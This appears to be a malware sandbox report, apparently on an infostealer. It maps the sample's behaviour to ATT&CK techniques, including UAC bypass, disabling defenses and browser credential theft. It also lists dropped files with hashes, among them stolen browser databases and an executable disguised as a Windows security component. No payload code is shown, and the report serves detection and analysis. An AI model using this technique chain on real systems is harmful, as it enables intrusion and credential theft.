                      1
                      T1546

                      Netsh Helper DLL

                      1
                      T1546.007

                      Privilege Escalation

                      Abuse Elevation Control Mechanism

                      1
                      T1548

                      Bypass User Account Control

                      1
                      T1548.002

                      Boot or Logon Autostart Execution

                      1
                      T1547

                      Registry Run Keys / Startup Folder

                      1
                      T1547.001

                      Create or Modify System Process

                      4
                      T1543

                      Windows Service

                      4
                      T1543.003

                      Event Triggered Execution

                      1
                      T1546

                      Netsh Helper DLL

                      1
                      T1546.007

                      Defense Evasion

                      Abuse Elevation Control Mechanism

                      1
                      T1548

                      Bypass User Account Control

                      1
                      T1548.002

                      Hide Artifacts

                      2
                      T1564

                      Hidden Files and Directories

                      1
                      T1564.001

                      Ignore Process Interrupts

                      1
                      T1564.011

                      Impair Defenses

                      7
                      T1562

                      Disable or Modify Tools

                      7
                      T1562.001

                      Modify Registry

                      8
                      T1112

                      Obfuscated Files or Information

                      1
                      T1027

                      Command Obfuscation

                      1
                      T1027.010

                      Credential Access

                      Credentials from Password Stores

                      1
                      T1555

                      Credentials from Web Browsers

                      1
                      T1555.003

                      Unsecured Credentials

                      1
                      T1552

                      Credentials In Files

                      1
                      T1552.001

                      Discovery

                      Browser Information Discovery

                      1
                      T1217

                      System Information Discovery

                      2
                      T1082

                      System Network Configuration Discovery

                      2
                      T1016

                      Internet Connection Discovery

                      1
                      T1016.001

                      Wi-Fi Discovery

                      1
                      T1016.002

                      Lateral Movement

                      Collection

                      Data from Local System

                      1
                      T1005

                      Command and Control

                      Web Service

                      1
                      T1102

                      Exfiltration

                      Impact

                      Replay Monitor

                      Loading Replay Monitor...

                      Downloads

                      powershell.exe.log
                      • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                      • Size 2KB
                      • SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      StartupProfileData-NonInteractive
                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                      • Size 944B
                      • SHA256 0f9a4b52e01cb051052228a55d0515911b7ef5a8db3cf925528c746df511424d
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      StartupProfileData-NonInteractive
                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                      • Size 944B
                      • SHA256 5ef1421e19fde4bc03cd825dd7d6c0e7863f85fd8f0aa4a4d4f8d555dc7606d1
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      StartupProfileData-NonInteractive
                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                      • Size 944B
                      • SHA256 2b139c74072ccbdaa17b950f32a6dbc934dfb7af9973d97c9b0d9c498012ba68
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      StartupProfileData-NonInteractive
                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                      • Size 948B
                      • SHA256 98d3c70d7004fa807897317bd6cd3e977b9b6c72d4d2565aca0f9f8b1c315cba
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      StartupProfileData-NonInteractive
                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                      • Size 948B
                      • SHA256 c6dce870a896f3531ae7a10a0c2096d2eb7eb5989ae783aefea6150279502d75
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      StartupProfileData-NonInteractive
                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                      • Size 948B
                      • SHA256 3f63fd5cd8dbbecf77eb2b0797d23f9e988111224e0599f403b5ac541a32bd01
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      StartupProfileData-NonInteractive
                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                      • Size 944B
                      • SHA256 8478ca44e6145dbe6664f871852535793f5ab6d86b4c78c611165bdfb91f159a
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      StartupProfileData-NonInteractive
                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                      • Size 948B
                      • SHA256 522510bf8287468091a0eee45dc012fa7f2768f853b924d1aa4c14c2171b5a54
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      StartupProfileData-NonInteractive
                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                      • Size 1KB
                      • SHA256 906bfdfe81f8b2a21fbb4d84452f3b55719d42ea0110216203eef01474658c9a
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      StartupProfileData-NonInteractive
                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                      • Size 944B
                      • SHA256 d6fa39eab7ee36f44dc3f9f2839d098433db95c1eba924e4bcf4e5c0d268d961
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      StartupProfileData-NonInteractive
                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                      • Size 944B
                      • SHA256 55b1d8021c4eb4c3c0d75e3ed7a4eb30cd0123e3d69f32eeb596fe4ffec05abf
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      StartupProfileData-NonInteractive
                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                      • Size 944B
                      • SHA256 1a937ceb1f4e7d9f620c5e8dac270abd6edd6ae44a82dc3bb618c3918f0aa3ab
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      StartupProfileData-NonInteractive
                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                      • Size 944B
                      • SHA256 e981ba57e2617381d8d75f0c7ffb6e836afbeb475434a06b56b9a5a988761e92
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      StartupProfileData-NonInteractive
                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                      • Size 944B
                      • SHA256 da8b533f81b342503c109e46b081b5c5296fdad5481f93fe5cc648e49ca6238e
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      StartupProfileData-NonInteractive
                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                      • Size 944B
                      • SHA256 be96c91b62ba9ba7072ab89e66543328c9e4395150f9dbe8067332d94a3ecc61
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      3mnddj5o.dll
                      • Path C:\Users\Admin\AppData\Local\Temp\3mnddj5o\3mnddj5o.dll
                      • Size 4KB
                      • SHA256 8ea3774313fa4de178c0e77809767496429783b0a84e14ef49c8fd9c82d5e5c0
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      Display (1).png
                      • Path C:\Users\Admin\AppData\Local\Temp\Dlh2LIMGhh\Display (1).png
                      • Size 604KB
                      • SHA256 250034b53aea4f78f124b8bf5eb2cbd2337e422e44b106f0b9ff0c0d23b18a50
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      RESBC56.tmp
                      • Path C:\Users\Admin\AppData\Local\Temp\RESBC56.tmp
                      • Size 1KB
                      • SHA256 e1d301afcbebaf8c4671b7e01cd9c44f5aff1afe967d2ae7a760b407b64c386a
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      RESCEA5.tmp
                      • Path C:\Users\Admin\AppData\Local\Temp\RESCEA5.tmp
                      • Size 1KB
                      • SHA256 4454433151509fc342640f469199828bea68c16cd32f5e53ea4591fe6ae0caab
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      __PSScriptPolicyTest_crah1q4q.hlw.ps1
                      • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_crah1q4q.hlw.ps1
                      • Size 60B
                      • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      Display (1).png
                      • Path C:\Users\Admin\AppData\Local\Temp\aaxfCktgd3\Display (1).png
                      • Size 605KB
                      • SHA256 1d27c5bd09c8c6e32c209269e5f362bf1efcb7cf74c64bd3b61db765013c3cc4
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      1461652784-places.sqlite
                      • Path C:\Users\Admin\AppData\Local\Temp\skuld-db\1461652784-places.sqlite
                      • Size 5.0MB
                      • SHA256 67d9ab7f99027c811ef1aec74c38ebbce4fe0ba51596cf91b3487d1bfe07fceb
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      2432013088-History
                      • Path C:\Users\Admin\AppData\Local\Temp\skuld-db\2432013088-History
                      • Size 160KB
                      • SHA256 9091ac11406f559b228639a023f638aa4461083cf4151878f781b85acde0e2ba
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      326668204-History
                      • Path C:\Users\Admin\AppData\Local\Temp\skuld-db\326668204-History
                      • Size 204KB
                      • SHA256 8c24b66b55bef2d89d1ac69204ec3d5d7b191ba051c7c4c4cddcd66d92575d04
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      885525226-Web Data
                      • Path C:\Users\Admin\AppData\Local\Temp\skuld-db\885525226-Web Data
                      • Size 138KB
                      • SHA256 6451885d2f7c2b820275e7a4f1545c88406d6745d83fd5e2e2f748f152cb989f
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      935375662-Web Data
                      • Path C:\Users\Admin\AppData\Local\Temp\skuld-db\935375662-Web Data
                      • Size 224KB
                      • SHA256 d781b56555e65272ef4019de8706cba5042fb7afcf0f6e2ca56183ca9567ba8e
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      u15lvg4v.dll
                      • Path C:\Users\Admin\AppData\Local\Temp\u15lvg4v\u15lvg4v.dll
                      • Size 4KB
                      • SHA256 2c61e2c4dec3d529014d2e4b43d224e0cf8b7f51f3d3986a8edef88d248b1828
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      SecurityHealthSystray.exe
                      • Path C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
                      • Size 11.3MB
                      • SHA256 2e45baabc901bcb6bc597d74ca681b0272f8ba70ba596724f087987cb2341764
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      hosts
                      • Path C:\Windows\System32\drivers\etc\hosts
                      • Size 2KB
                      • SHA256 ade1813ae70d7da0bfe63d61af8a4927ed12a0f237b79ce1ac3401c0646f6075
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      3mnddj5o.0.cs
                      • Path \??\c:\Users\Admin\AppData\Local\Temp\3mnddj5o\3mnddj5o.0.cs
                      • Size 1004B
                      • SHA256 8a3cd008e86a3d835f55f8415f5fd264c6dacdf0b7286e6854ea3f5a363390e7
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      3mnddj5o.cmdline
                      • Path \??\c:\Users\Admin\AppData\Local\Temp\3mnddj5o\3mnddj5o.cmdline
                      • Size 607B
                      • SHA256 005da87aaf9e163a56de082f861fe485fabe835dde1bbf7f2ec8af4c701bb2d4
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      CSC36653805F17F42DC9E5228178065CBAF.TMP
                      • Path \??\c:\Users\Admin\AppData\Local\Temp\3mnddj5o\CSC36653805F17F42DC9E5228178065CBAF.TMP
                      • Size 652B
                      • SHA256 54f075ffa45c96a33738c5d121d0df58c3903cdd1b51c5e04b97d5cc94633b50
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      CSCF62B2ABBC6104390B3C7921CF984AF81.TMP
                      • Path \??\c:\Users\Admin\AppData\Local\Temp\u15lvg4v\CSCF62B2ABBC6104390B3C7921CF984AF81.TMP
                      • Size 652B
                      • SHA256 946dae7df7f5d729a90c37da5979e2b4ea1e0edcb0cac512976079962ebf2c02
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      u15lvg4v.cmdline
                      • Path \??\c:\Users\Admin\AppData\Local\Temp\u15lvg4v\u15lvg4v.cmdline
                      • Size 607B
                      • SHA256 85c034c4b34a903f2bf9cd6617560fce819c505263a172492a4829e5dc2810d0
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      memory/1700-4-0x000001B9153D0000-0x000001B9153F2000-memory.dmp
                      Download

                      memory/1700-0-0x000001B9153C0000-0x000001B9153D0000-memory.dmp
                      Download

                      memory/1700-1-0x000001B9153C0000-0x000001B9153D0000-memory.dmp
                      Download

                      memory/2644-314-0x0000019269210000-0x0000019269218000-memory.dmp
                      Download

                      memory/4304-253-0x0000012B9F1C0000-0x0000012B9F1C8000-memory.dmp
                      Download